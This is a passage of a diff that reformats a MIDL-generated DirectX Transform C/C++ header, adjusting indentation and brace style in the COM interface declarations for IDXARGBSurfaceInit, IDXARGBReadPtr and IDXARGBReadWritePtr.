/* [in] */ IUnknown *pDirectDraw, - /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, - /* [in] */ const GUID *pFormatID, - /* [in] */ const DXBNDS *pBounds, - /* [in] */ DWORD dwFlags); - - HRESULT ( STDMETHODCALLTYPE *InitFromDDSurface )( - IDXARGBSurfaceInit * This, - /* [in] */ IUnknown *pDDrawSurface, - /* [in] */ const GUID *pFormatID, - /* [in] */ DWORD dwFlags); - - HRESULT ( STDMETHODCALLTYPE *InitFromRawSurface )( - IDXARGBSurfaceInit * This, - /* [in] */ IDXRawSurface *pRawSurface); - - END_INTERFACE - } IDXARGBSurfaceInitVtbl; +typedef struct IDXARGBSurfaceInitVtbl { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXARGBSurfaceInit * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXARGBSurfaceInit * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXARGBSurfaceInit * This); + + HRESULT ( STDMETHODCALLTYPE *InitSurface )( + IDXARGBSurfaceInit * This, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pFormatID, + /* [in] */ const DXBNDS *pBounds, + /* [in] */ DWORD dwFlags); + + HRESULT ( STDMETHODCALLTYPE *InitFromDDSurface )( + IDXARGBSurfaceInit * This, + /* [in] */ IUnknown *pDDrawSurface, + /* [in] */ const GUID *pFormatID, + /* [in] */ DWORD dwFlags); + + HRESULT ( STDMETHODCALLTYPE *InitFromRawSurface )( + IDXARGBSurfaceInit * This, + /* [in] */ IDXRawSurface *pRawSurface); + + END_INTERFACE +} IDXARGBSurfaceInitVtbl; + +interface IDXARGBSurfaceInit +{ + CONST_VTBL struct IDXARGBSurfaceInitVtbl *lpVtbl; +}; - interface IDXARGBSurfaceInit - { - CONST_VTBL struct IDXARGBSurfaceInitVtbl *lpVtbl; - }; - #ifdef COBJMACROS @@ -3088,7 +3084,7 @@ EXTERN_C const IID IID_IDXARGBSurfaceInit; -HRESULT STDMETHODCALLTYPE IDXARGBSurfaceInit_InitFromDDSurface_Proxy( +HRESULT STDMETHODCALLTYPE IDXARGBSurfaceInit_InitFromDDSurface_Proxy( IDXARGBSurfaceInit * This, /* [in] */ IUnknown *pDDrawSurface, /* [in] */ const GUID *pFormatID, @@ -3102,7 +3098,7 @@ void __RPC_STUB IDXARGBSurfaceInit_InitFromDDSurface_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXARGBSurfaceInit_InitFromRawSurface_Proxy( +HRESULT STDMETHODCALLTYPE IDXARGBSurfaceInit_InitFromRawSurface_Proxy( IDXARGBSurfaceInit * This, /* [in] */ IDXRawSurface *pRawSurface); @@ -3119,29 +3115,26 @@ void __RPC_STUB IDXARGBSurfaceInit_InitFromRawSurface_Stub( /* interface __MIDL_itf_dxtrans_0270 */ -/* [local] */ +/* [local] */ -typedef struct tagDXNATIVETYPEINFO - { +typedef struct tagDXNATIVETYPEINFO { BYTE *pCurrentData; BYTE *pFirstByte; long lPitch; DWORD dwColorKey; - } DXNATIVETYPEINFO; +} DXNATIVETYPEINFO; -typedef struct tagDXPACKEDRECTDESC - { +typedef struct tagDXPACKEDRECTDESC { DXBASESAMPLE *pSamples; BOOL bPremult; RECT rect; long lRowPadding; - } DXPACKEDRECTDESC; +} DXPACKEDRECTDESC; -typedef struct tagDXOVERSAMPLEDESC - { +typedef struct tagDXOVERSAMPLEDESC { POINT p; DXPMSAMPLE Color; - } DXOVERSAMPLEDESC; +} DXOVERSAMPLEDESC; @@ -3152,122 +3145,120 @@ extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0270_v0_0_s_ifspec; #define __IDXARGBReadPtr_INTERFACE_DEFINED__ /* interface IDXARGBReadPtr */ -/* [local][unique][helpstring][uuid][object] */ +/* [local][unique][helpstring][uuid][object] */ EXTERN_C const IID IID_IDXARGBReadPtr; #if defined(__cplusplus) && !defined(CINTERFACE) - - MIDL_INTERFACE("EAAAC2D6-C290-11d1-905D-00C04FD9189D") - IDXARGBReadPtr : public IUnknown - { - public: - virtual HRESULT STDMETHODCALLTYPE GetSurface( - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppSurface) = 0; - - virtual DXSAMPLEFORMATENUM STDMETHODCALLTYPE GetNativeType( - /* [out] */ DXNATIVETYPEINFO *pInfo) = 0; - - virtual void STDMETHODCALLTYPE Move( - /* [in] */ long cSamples) = 0; - - virtual void STDMETHODCALLTYPE MoveToRow( - /* [in] */ ULONG y) = 0; - - virtual void STDMETHODCALLTYPE MoveToXY( - /* [in] */ ULONG x, - /* [in] */ ULONG y) = 0; - - virtual ULONG STDMETHODCALLTYPE MoveAndGetRunInfo( - /* [in] */ ULONG Row, - /* [out] */ const DXRUNINFO **ppInfo) = 0; - - virtual DXSAMPLE *STDMETHODCALLTYPE Unpack( - /* [in] */ DXSAMPLE *pSamples, - /* [in] */ ULONG cSamples, - /* [in] */ BOOL bMove) = 0; - - virtual DXPMSAMPLE *STDMETHODCALLTYPE UnpackPremult( - /* [in] */ DXPMSAMPLE *pSamples, - /* [in] */ ULONG cSamples, - /* [in] */ BOOL bMove) = 0; - - virtual void STDMETHODCALLTYPE UnpackRect( - /* [in] */ const DXPACKEDRECTDESC *pRectDesc) = 0; - - }; - + +MIDL_INTERFACE("EAAAC2D6-C290-11d1-905D-00C04FD9189D") +IDXARGBReadPtr : public IUnknown { +public: + virtual HRESULT STDMETHODCALLTYPE GetSurface( + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppSurface) = 0; + + virtual DXSAMPLEFORMATENUM STDMETHODCALLTYPE GetNativeType( + /* [out] */ DXNATIVETYPEINFO *pInfo) = 0; + + virtual void STDMETHODCALLTYPE Move( + /* [in] */ long cSamples) = 0; + + virtual void STDMETHODCALLTYPE MoveToRow( + /* [in] */ ULONG y) = 0; + + virtual void STDMETHODCALLTYPE MoveToXY( + /* [in] */ ULONG x, + /* [in] */ ULONG y) = 0; + + virtual ULONG STDMETHODCALLTYPE MoveAndGetRunInfo( + /* [in] */ ULONG Row, + /* [out] */ const DXRUNINFO **ppInfo) = 0; + + virtual DXSAMPLE *STDMETHODCALLTYPE Unpack( + /* [in] */ DXSAMPLE *pSamples, + /* [in] */ ULONG cSamples, + /* [in] */ BOOL bMove) = 0; + + virtual DXPMSAMPLE *STDMETHODCALLTYPE UnpackPremult( + /* [in] */ DXPMSAMPLE *pSamples, + /* [in] */ ULONG cSamples, + /* [in] */ BOOL bMove) = 0; + + virtual void STDMETHODCALLTYPE UnpackRect( + /* [in] */ const DXPACKEDRECTDESC *pRectDesc) = 0; + +}; + #else /* C style interface */ - typedef struct IDXARGBReadPtrVtbl - { - BEGIN_INTERFACE - - HRESULT ( STDMETHODCALLTYPE *QueryInterface )( - IDXARGBReadPtr * This, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppvObject); - - ULONG ( STDMETHODCALLTYPE *AddRef )( - IDXARGBReadPtr * This); - - ULONG ( STDMETHODCALLTYPE *Release )( - IDXARGBReadPtr * This); - - HRESULT ( STDMETHODCALLTYPE *GetSurface )( - IDXARGBReadPtr * This, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppSurface); - - DXSAMPLEFORMATENUM ( STDMETHODCALLTYPE *GetNativeType )( - IDXARGBReadPtr * This, - /* [out] */ DXNATIVETYPEINFO *pInfo); - - void ( STDMETHODCALLTYPE *Move )( - IDXARGBReadPtr * This, - /* [in] */ long cSamples); - - void ( STDMETHODCALLTYPE *MoveToRow )( - IDXARGBReadPtr * This, - /* [in] */ ULONG y); - - void ( STDMETHODCALLTYPE *MoveToXY )( - IDXARGBReadPtr * This, - /* [in] */ ULONG x, - /* [in] */ ULONG y); - - ULONG ( STDMETHODCALLTYPE *MoveAndGetRunInfo )( - IDXARGBReadPtr * This, - /* [in] */ ULONG Row, - /* [out] */ const DXRUNINFO **ppInfo); - - DXSAMPLE *( STDMETHODCALLTYPE *Unpack )( - IDXARGBReadPtr * This, - /* [in] */ DXSAMPLE *pSamples, - /* [in] */ ULONG cSamples, - /* [in] */ BOOL bMove); - - DXPMSAMPLE *( STDMETHODCALLTYPE *UnpackPremult )( - IDXARGBReadPtr * This, - /* [in] */ DXPMSAMPLE *pSamples, - /* [in] */ ULONG cSamples, - /* [in] */ BOOL bMove); - - void ( STDMETHODCALLTYPE *UnpackRect )( - IDXARGBReadPtr * This, - /* [in] */ const DXPACKEDRECTDESC *pRectDesc); - - END_INTERFACE - } IDXARGBReadPtrVtbl; +typedef struct IDXARGBReadPtrVtbl { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXARGBReadPtr * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXARGBReadPtr * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXARGBReadPtr * This); + + HRESULT ( STDMETHODCALLTYPE *GetSurface )( + IDXARGBReadPtr * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppSurface); + + DXSAMPLEFORMATENUM ( STDMETHODCALLTYPE *GetNativeType )( + IDXARGBReadPtr * This, + /* [out] */ DXNATIVETYPEINFO *pInfo); + + void ( STDMETHODCALLTYPE *Move )( + IDXARGBReadPtr * This, + /* [in] */ long cSamples); + + void ( STDMETHODCALLTYPE *MoveToRow )( + IDXARGBReadPtr * This, + /* [in] */ ULONG y); + + void ( STDMETHODCALLTYPE *MoveToXY )( + IDXARGBReadPtr * This, + /* [in] */ ULONG x, + /* [in] */ ULONG y); + + ULONG ( STDMETHODCALLTYPE *MoveAndGetRunInfo )( + IDXARGBReadPtr * This, + /* [in] */ ULONG Row, + /* [out] */ const DXRUNINFO **ppInfo); + + DXSAMPLE *( STDMETHODCALLTYPE *Unpack )( + IDXARGBReadPtr * This, + /* [in] */ DXSAMPLE *pSamples, + /* [in] */ ULONG cSamples, + /* [in] */ BOOL bMove); + + DXPMSAMPLE *( STDMETHODCALLTYPE *UnpackPremult )( + IDXARGBReadPtr * This, + /* [in] */ DXPMSAMPLE *pSamples, + /* [in] */ ULONG cSamples, + /* [in] */ BOOL bMove); + + void ( STDMETHODCALLTYPE *UnpackRect )( + IDXARGBReadPtr * This, + /* [in] */ const DXPACKEDRECTDESC *pRectDesc); + + END_INTERFACE +} IDXARGBReadPtrVtbl; + +interface IDXARGBReadPtr +{ + CONST_VTBL struct IDXARGBReadPtrVtbl *lpVtbl; +}; - interface IDXARGBReadPtr - { - CONST_VTBL struct IDXARGBReadPtrVtbl *lpVtbl; - }; - #ifdef COBJMACROS @@ -3316,7 +3307,7 @@ EXTERN_C const IID IID_IDXARGBReadPtr; -HRESULT STDMETHODCALLTYPE IDXARGBReadPtr_GetSurface_Proxy( +HRESULT STDMETHODCALLTYPE IDXARGBReadPtr_GetSurface_Proxy( IDXARGBReadPtr * This, /* [in] */ REFIID riid, /* [iid_is][out] */ void **ppSurface); @@ -3329,7 +3320,7 @@ void __RPC_STUB IDXARGBReadPtr_GetSurface_Stub( DWORD *_pdwStubPhase); -DXSAMPLEFORMATENUM STDMETHODCALLTYPE IDXARGBReadPtr_GetNativeType_Proxy( +DXSAMPLEFORMATENUM STDMETHODCALLTYPE IDXARGBReadPtr_GetNativeType_Proxy( IDXARGBReadPtr * This, /* [out] */ DXNATIVETYPEINFO *pInfo); @@ -3341,7 +3332,7 @@ void __RPC_STUB IDXARGBReadPtr_GetNativeType_Stub( DWORD *_pdwStubPhase); -void STDMETHODCALLTYPE IDXARGBReadPtr_Move_Proxy( +void STDMETHODCALLTYPE IDXARGBReadPtr_Move_Proxy( IDXARGBReadPtr * This, /* [in] */ long cSamples); @@ -3353,7 +3344,7 @@ void __RPC_STUB IDXARGBReadPtr_Move_Stub( DWORD *_pdwStubPhase); -void STDMETHODCALLTYPE IDXARGBReadPtr_MoveToRow_Proxy( +void STDMETHODCALLTYPE IDXARGBReadPtr_MoveToRow_Proxy( IDXARGBReadPtr * This, /* [in] */ ULONG y); @@ -3365,7 +3356,7 @@ void __RPC_STUB IDXARGBReadPtr_MoveToRow_Stub( DWORD *_pdwStubPhase); -void STDMETHODCALLTYPE IDXARGBReadPtr_MoveToXY_Proxy( +void STDMETHODCALLTYPE IDXARGBReadPtr_MoveToXY_Proxy( IDXARGBReadPtr * This, /* [in] */ ULONG x, /* [in] */ ULONG y); @@ -3378,7 +3369,7 @@ void __RPC_STUB IDXARGBReadPtr_MoveToXY_Stub( DWORD *_pdwStubPhase); -ULONG STDMETHODCALLTYPE IDXARGBReadPtr_MoveAndGetRunInfo_Proxy( +ULONG STDMETHODCALLTYPE IDXARGBReadPtr_MoveAndGetRunInfo_Proxy( IDXARGBReadPtr * This, /* [in] */ ULONG Row, /* [out] */ const DXRUNINFO **ppInfo); @@ -3391,7 +3382,7 @@ void __RPC_STUB IDXARGBReadPtr_MoveAndGetRunInfo_Stub( DWORD *_pdwStubPhase); -DXSAMPLE *STDMETHODCALLTYPE IDXARGBReadPtr_Unpack_Proxy( +DXSAMPLE *STDMETHODCALLTYPE IDXARGBReadPtr_Unpack_Proxy( IDXARGBReadPtr * This, /* [in] */ DXSAMPLE *pSamples, /* [in] */ ULONG cSamples, @@ -3405,7 +3396,7 @@ void __RPC_STUB IDXARGBReadPtr_Unpack_Stub( DWORD *_pdwStubPhase); -DXPMSAMPLE *STDMETHODCALLTYPE IDXARGBReadPtr_UnpackPremult_Proxy( +DXPMSAMPLE *STDMETHODCALLTYPE IDXARGBReadPtr_UnpackPremult_Proxy( IDXARGBReadPtr * This, /* [in] */ DXPMSAMPLE *pSamples, /* [in] */ ULONG cSamples, @@ -3419,7 +3410,7 @@ void __RPC_STUB IDXARGBReadPtr_UnpackPremult_Stub( DWORD *_pdwStubPhase); -void STDMETHODCALLTYPE IDXARGBReadPtr_UnpackRect_Proxy( +void STDMETHODCALLTYPE IDXARGBReadPtr_UnpackRect_Proxy( IDXARGBReadPtr * This, /* [in] */ const DXPACKEDRECTDESC *pRectDesc); @@ -3439,183 +3430,181 @@ void __RPC_STUB IDXARGBReadPtr_UnpackRect_Stub( #define __IDXARGBReadWritePtr_INTERFACE_DEFINED__ /* interface IDXARGBReadWritePtr */ -/* [local][unique][helpstring][uuid][object] */ +/* [local][unique][helpstring][uuid][object] */ EXTERN_C const IID IID_IDXARGBReadWritePtr; #if defined(__cplusplus) && !defined(CINTERFACE) - - MIDL_INTERFACE("EAAAC2D7-C290-11d1-905D-00C04FD9189D") - IDXARGBReadWritePtr : public IDXARGBReadPtr - { - public: - virtual void STDMETHODCALLTYPE PackAndMove( - /* [in] */ const DXSAMPLE *pSamples, - /* [in] */ ULONG cSamples) = 0; - - virtual void STDMETHODCALLTYPE PackPremultAndMove( - /* [in] */ const DXPMSAMPLE *pSamples, - /* [in] */ ULONG cSamples) = 0; - - virtual void STDMETHODCALLTYPE PackRect( - /* [in] */ const DXPACKEDRECTDESC *pRectDesc) = 0; - - virtual void STDMETHODCALLTYPE CopyAndMoveBoth( - /* [in] */ DXBASESAMPLE *pScratchBuffer, - /* [in] */ IDXARGBReadPtr *pSrc, - /* [in] */ ULONG cSamples, - /* [in] */ BOOL bIsOpaque) = 0; - - virtual void STDMETHODCALLTYPE CopyRect( - /* [in] */ DXBASESAMPLE *pScratchBuffer, - /* [in] */ const RECT *pDestRect, - /* [in] */ IDXARGBReadPtr *pSrc, - /* [in] */ const POINT *pSrcOrigin, - /* [in] */ BOOL bIsOpaque) = 0; - - virtual void STDMETHODCALLTYPE FillAndMove( - /* [in] */ DXBASESAMPLE *pScratchBuffer, - /* [in] */ DXPMSAMPLE SampVal, - /* [in] */ ULONG cSamples, - /* [in] */ BOOL bDoOver) = 0; - - virtual void STDMETHODCALLTYPE FillRect( - /* [in] */ const RECT *pRect, - /* [in] */ DXPMSAMPLE SampVal, - /* [in] */ BOOL bDoOver) = 0; - - virtual void STDMETHODCALLTYPE OverSample( - /* [in] */ const DXOVERSAMPLEDESC *pOverDesc) = 0; - - virtual void STDMETHODCALLTYPE OverArrayAndMove( - /* [in] */ DXBASESAMPLE *pScratchBuffer, - /* [in] */ const DXPMSAMPLE *pSrc, - /* [in] */ ULONG cSamples) = 0; - - }; - + +MIDL_INTERFACE("EAAAC2D7-C290-11d1-905D-00C04FD9189D") +IDXARGBReadWritePtr : public IDXARGBReadPtr { +public: + virtual void STDMETHODCALLTYPE PackAndMove( + /* [in] */ const DXSAMPLE *pSamples, + /* [in] */ ULONG cSamples) = 0; + + virtual void STDMETHODCALLTYPE PackPremultAndMove( + /* [in] */ const DXPMSAMPLE *pSamples, + /* [in] */ ULONG cSamples) = 0; + + virtual void STDMETHODCALLTYPE PackRect( + /* [in] */ const DXPACKEDRECTDESC *pRectDesc) = 0; + + virtual void STDMETHODCALLTYPE CopyAndMoveBoth( + /* [in] */ DXBASESAMPLE *pScratchBuffer, + /* [in] */ IDXARGBReadPtr *pSrc, + /* [in] */ ULONG cSamples, + /* [in] */ BOOL bIsOpaque) = 0; + + virtual void STDMETHODCALLTYPE CopyRect( + /* [in] */ DXBASESAMPLE *pScratchBuffer, + /* [in] */ const RECT *pDestRect, + /* [in] */ IDXARGBReadPtr *pSrc, + /* [in] */ const POINT *pSrcOrigin, + /* [in] */ BOOL bIsOpaque) = 0; + + virtual void STDMETHODCALLTYPE FillAndMove( + /* [in] */ DXBASESAMPLE *pScratchBuffer, + /* [in] */ DXPMSAMPLE SampVal, + /* [in] */ ULONG cSamples, + /* [in] */ BOOL bDoOver) = 0; + + virtual void STDMETHODCALLTYPE FillRect( + /* [in] */ const RECT *pRect, + /* [in] */ DXPMSAMPLE SampVal, + /* [in] */ BOOL bDoOver) = 0; + + virtual void STDMETHODCALLTYPE OverSample( + /* [in] */ const DXOVERSAMPLEDESC *pOverDesc) = 0; + + virtual void STDMETHODCALLTYPE OverArrayAndMove( + /* [in] */ DXBASESAMPLE *pScratchBuffer, + /* [in] */ const DXPMSAMPLE *pSrc, + /* [in] */ ULONG cSamples) = 0; + +}; + #else /* C style interface */ - typedef struct IDXARGBReadWritePtrVtbl - { - BEGIN_INTERFACE - - HRESULT ( STDMETHODCALLTYPE *QueryInterface )( - IDXARGBReadWritePtr * This, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppvObject); - - ULONG ( STDMETHODCALLTYPE *AddRef )( - IDXARGBReadWritePtr * This); - - ULONG ( STDMETHODCALLTYPE *Release )( - IDXARGBReadWritePtr * This); - - HRESULT ( STDMETHODCALLTYPE *GetSurface )( - IDXARGBReadWritePtr * This, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppSurface); - - DXSAMPLEFORMATENUM ( STDMETHODCALLTYPE *GetNativeType )( - IDXARGBReadWritePtr * This, - /* [out] */ DXNATIVETYPEINFO *pInfo); - - void ( STDMETHODCALLTYPE *Move )( - IDXARGBReadWritePtr * This, - /* [in] */ long cSamples); - - void ( STDMETHODCALLTYPE *MoveToRow )( - IDXARGBReadWritePtr * This, - /* [in] */ ULONG y); - - void ( STDMETHODCALLTYPE *MoveToXY )( - IDXARGBReadWritePtr * This, - /* [in] */ ULONG x, - /* [in] */ ULONG y); - - ULONG ( STDMETHODCALLTYPE *MoveAndGetRunInfo )( - IDXARGBReadWritePtr * This, - /* [in] */ ULONG Row, - /* [out] */ const DXRUNINFO **ppInfo); - - DXSAMPLE *( STDMETHODCALLTYPE *Unpack )( - IDXARGBReadWritePtr * This, - /* [in] */ DXSAMPLE *pSamples, - /* [in] */ ULONG cSamples, - /* [in] */ BOOL bMove); - - DXPMSAMPLE *( STDMETHODCALLTYPE *UnpackPremult )( - IDXARGBReadWritePtr * This, - /* [in] */ DXPMSAMPLE *pSamples, - /* [in] */ ULONG cSamples, - /* [in] */ BOOL bMove); - - void ( STDMETHODCALLTYPE *UnpackRect )( - IDXARGBReadWritePtr * This, - /* [in] */ const DXPACKEDRECTDESC *pRectDesc); - - void ( STDMETHODCALLTYPE *PackAndMove )( - IDXARGBReadWritePtr * This, - /* [in] */ const DXSAMPLE *pSamples, - /* [in] */ ULONG cSamples); - - void ( STDMETHODCALLTYPE *PackPremultAndMove )( - IDXARGBReadWritePtr * This, - /* [in] */ const DXPMSAMPLE *pSamples, - /* [in] */ ULONG cSamples); - - void ( STDMETHODCALLTYPE *PackRect )( - IDXARGBReadWritePtr * This, - /* [in] */ const DXPACKEDRECTDESC *pRectDesc); - - void ( STDMETHODCALLTYPE *CopyAndMoveBoth )( - IDXARGBReadWritePtr * This, - /* [in] */ DXBASESAMPLE *pScratchBuffer, - /* [in] */ IDXARGBReadPtr *pSrc, - /* [in] */ ULONG cSamples, - /* [in] */ BOOL bIsOpaque); - - void ( STDMETHODCALLTYPE *CopyRect )( - IDXARGBReadWritePtr * This, - /* [in] */ DXBASESAMPLE *pScratchBuffer, - /* [in] */ const RECT *pDestRect, - /* [in] */ IDXARGBReadPtr *pSrc, - /* [in] */ const POINT *pSrcOrigin, - /* [in] */ BOOL bIsOpaque); - - void ( STDMETHODCALLTYPE *FillAndMove )( - IDXARGBReadWritePtr * This, - /* [in] */ DXBASESAMPLE *pScratchBuffer, - /* [in] */ DXPMSAMPLE SampVal, - /* [in] */ ULONG cSamples, - /* [in] */ BOOL bDoOver); - - void ( STDMETHODCALLTYPE *FillRect )( - IDXARGBReadWritePtr * This, - /* [in] */ const RECT *pRect, - /* [in] */ DXPMSAMPLE SampVal, - /* [in] */ BOOL bDoOver); - - void ( STDMETHODCALLTYPE *OverSample )( - IDXARGBReadWritePtr * This, - /* [in] */ const DXOVERSAMPLEDESC *pOverDesc); - - void ( STDMETHODCALLTYPE *OverArrayAndMove )( - IDXARGBReadWritePtr * This, - /* [in] */ DXBASESAMPLE *pScratchBuffer, - /* [in] */ const DXPMSAMPLE *pSrc, - /* [in] */ ULONG cSamples); - - END_INTERFACE - } IDXARGBReadWritePtrVtbl; +typedef struct IDXARGBReadWritePtrVtbl { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXARGBReadWritePtr * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXARGBReadWritePtr * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXARGBReadWritePtr * This); + + HRESULT ( STDMETHODCALLTYPE *GetSurface )( + IDXARGBReadWritePtr * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppSurface); + + DXSAMPLEFORMATENUM ( STDMETHODCALLTYPE *GetNativeType )( + IDXARGBReadWritePtr * This, + /* [out] */ DXNATIVETYPEINFO *pInfo); + + void ( STDMETHODCALLTYPE *Move )( + IDXARGBReadWritePtr * This, + /* [in] */ long cSamples); + + void ( STDMETHODCALLTYPE *MoveToRow )( + IDXARGBReadWritePtr * This, + /* [in] */ ULONG y); + + void ( STDMETHODCALLTYPE *MoveToXY )( + IDXARGBReadWritePtr * This, + /* [in] */ ULONG x, + /* [in] */ ULONG y); + + ULONG ( STDMETHODCALLTYPE *MoveAndGetRunInfo )( + IDXARGBReadWritePtr * This, + /* [in] */ ULONG Row, + /* [out] */ const DXRUNINFO **ppInfo); + + DXSAMPLE *( STDMETHODCALLTYPE *Unpack )( + IDXARGBReadWritePtr * This, + /* [in] */ DXSAMPLE *pSamples, + /* [in] */ ULONG cSamples, + /* [in] */ BOOL bMove); + + DXPMSAMPLE *( STDMETHODCALLTYPE *UnpackPremult )( + IDXARGBReadWritePtr * This, + /* [in] */ DXPMSAMPLE *pSamples, + /* [in] */ ULONG cSamples, + /* [in] */ BOOL bMove); + + void ( STDMETHODCALLTYPE *UnpackRect )( + IDXARGBReadWritePtr * This, + /* [in] */ const DXPACKEDRECTDESC *pRectDesc); + + void ( STDMETHODCALLTYPE *PackAndMove )( + IDXARGBReadWritePtr * This, + /* [in] */ const DXSAMPLE *pSamples, + /* [in] */ ULONG cSamples); + + void ( STDMETHODCALLTYPE *PackPremultAndMove )( + IDXARGBReadWritePtr * This, + /* [in] */ const DXPMSAMPLE *pSamples, + /* [in] */ ULONG cSamples); + + void ( STDMETHODCALLTYPE *PackRect )( + IDXARGBReadWritePtr * This, + /* [in] */ const DXPACKEDRECTDESC *pRectDesc); + + void ( STDMETHODCALLTYPE *CopyAndMoveBoth )( + IDXARGBReadWritePtr * This, + /* [in] */ DXBASESAMPLE *pScratchBuffer, + /* [in] */ IDXARGBReadPtr *pSrc, + /* [in] */ ULONG cSamples, + /* [in] */ BOOL bIsOpaque); + + void ( STDMETHODCALLTYPE *CopyRect )( + IDXARGBReadWritePtr * This, + /* [in] */ DXBASESAMPLE *pScratchBuffer, + /* [in] */ const RECT *pDestRect, + /* [in] */ IDXARGBReadPtr *pSrc, + /* [in] */ const POINT *pSrcOrigin, + /* [in] */ BOOL bIsOpaque); + + void ( STDMETHODCALLTYPE *FillAndMove )( + IDXARGBReadWritePtr * This, + /* [in] */ DXBASESAMPLE *pScratchBuffer, + /* [in] */ DXPMSAMPLE SampVal, + /* [in] */ ULONG cSamples, + /* [in] */ BOOL bDoOver); + + void ( STDMETHODCALLTYPE *FillRect )( + IDXARGBReadWritePtr * This, + /* [in] */ const RECT *pRect, + /* [in] */ DXPMSAMPLE SampVal, + /* [in] */ BOOL bDoOver); + + void ( STDMETHODCALLTYPE *OverSample )( + IDXARGBReadWritePtr * This, + /* [in] */ const DXOVERSAMPLEDESC *pOverDesc); + + void ( STDMETHODCALLTYPE *OverArrayAndMove )( + IDXARGBReadWritePtr * This, + /* [in] */ DXBASESAMPLE *pScratchBuffer, + /* [in] */ const DXPMSAMPLE *pSrc, + /* [in] */ ULONG cSamples); + + END_INTERFACE +} IDXARGBReadWritePtrVtbl; + +interface IDXARGBReadWritePtr +{ + CONST_VTBL struct IDXARGBReadWritePtrVtbl *lpVtbl; +}; - interface IDXARGBReadWritePtr - { - CONST_VTBL struct IDXARGBReadWritePtrVtbl *lpVtbl; - }; - #ifdef COBJMACROS @@ -3692,7 +3681,7 @@ EXTERN_C const IID IID_IDXARGBReadWritePtr; -void STDMETHODCALLTYPE IDXARGBReadWritePtr_PackAndMove_Proxy( +void STDMETHODCALLTYPE IDXARGBReadWritePtr_PackAndMove_Proxy( IDXARGBReadWritePtr * This, /* [in] */ const DXSAMPLE *pSamples, /* [in] */ ULONG cSamples); @@ -3705,7 +3694,7 @@ void __RPC_STUB IDXARGBReadWritePtr_PackAndMove_Stub( DWORD *_pdwStubPhase); -void STDMETHODCALLTYPE IDXARGBReadWritePtr_PackPremultAndMove_Proxy( +void STDMETHODCALLTYPE IDXARGBReadWritePtr_PackPremultAndMove_Proxy( IDXARGBReadWritePtr * This, /* [in] */ const DXPMSAMPLE *pSamples, /* [in] */ ULONG cSamples); @@ -3718,7 +3707,7 @@ void __RPC_STUB IDXARGBReadWritePtr_PackPremultAndMove_Stub( DWORD *_pdwStubPhase); -void STDMETHODCALLTYPE IDXARGBReadWritePtr_PackRect_Proxy( +void STDMETHODCALLTYPE IDXARGBReadWritePtr_PackRect_Proxy( IDXARGBReadWritePtr * This, /* [in] */ const DXPACKEDRECTDESC *pRectDesc); @@ -3730,7 +3719,7 @@ void __RPC_STUB IDXARGBReadWritePtr_PackRect_Stub( DWORD *_pdwStubPhase); -void STDMETHODCALLTYPE IDXARGBReadWritePtr_CopyAndMoveBoth_Proxy( +void STDMETHODCALLTYPE IDXARGBReadWritePtr_CopyAndMoveBoth_Proxy( IDXARGBReadWritePtr * This, /* [in] */ DXBASESAMPLE *pScratchBuffer, /* [in] */ IDXARGBReadPtr *pSrc, @@ -3745,7 +3734,7 @@ void __RPC_STUB IDXARGBReadWritePtr_CopyAndMoveBoth_Stub( DWORD *_pdwStubPhase); -void STDMETHODCALLTYPE IDXARGBReadWritePtr_CopyRect_Proxy( +void STDMETHODCALLTYPE IDXARGBReadWritePtr_CopyRect_Proxy( IDXARGBReadWritePtr * This, /* [in] */ DXBASESAMPLE *pScratchBuffer, /* [in] */ const RECT *pDestRect, @@ -3761,7 +3750,7 @@ void __RPC_STUB IDXARGBReadWritePtr_CopyRect_Stub( DWORD *_pdwStubPhase); -void STDMETHODCALLTYPE IDXARGBReadWritePtr_FillAndMove_Proxy( +void STDMETHODCALLTYPE IDXARGBReadWritePtr_FillAndMove_Proxy( IDXARGBReadWritePtr * This, /* [in] */ DXBASESAMPLE *pScratchBuffer, /* [in] */ DXPMSAMPLE SampVal, @@ -3776,7 +3765,7 @@ void __RPC_STUB IDXARGBReadWritePtr_FillAndMove_Stub( DWORD *_pdwStubPhase); -void STDMETHODCALLTYPE IDXARGBReadWritePtr_FillRect_Proxy( +void STDMETHODCALLTYPE IDXARGBReadWritePtr_FillRect_Proxy( IDXARGBReadWritePtr * This, /* [in] */ const RECT *pRect, /* [in] */ DXPMSAMPLE SampVal, @@ -3790,7 +3779,7 @@ void __RPC_STUB IDXARGBReadWritePtr_FillRect_Stub( DWORD *_pdwStubPhase); -void STDMETHODCALLTYPE IDXARGBReadWritePtr_OverSample_Proxy( +void STDMETHODCALLTYPE IDXARGBReadWritePtr_OverSample_Proxy( IDXARGBReadWritePtr * This, /* [in] */ const DXOVERSAMPLEDESC *pOverDesc); @@ -3802,7 +3791,7 @@ void __RPC_STUB IDXARGBReadWritePtr_OverSample_Stub( DWORD *_pdwStubPhase); -void STDMETHODCALLTYPE IDXARGBReadWritePtr_OverArrayAndMove_Proxy( +void STDMETHODCALLTYPE IDXARGBReadWritePtr_OverArrayAndMove_Proxy( IDXARGBReadWritePtr * This, /* [in] */ 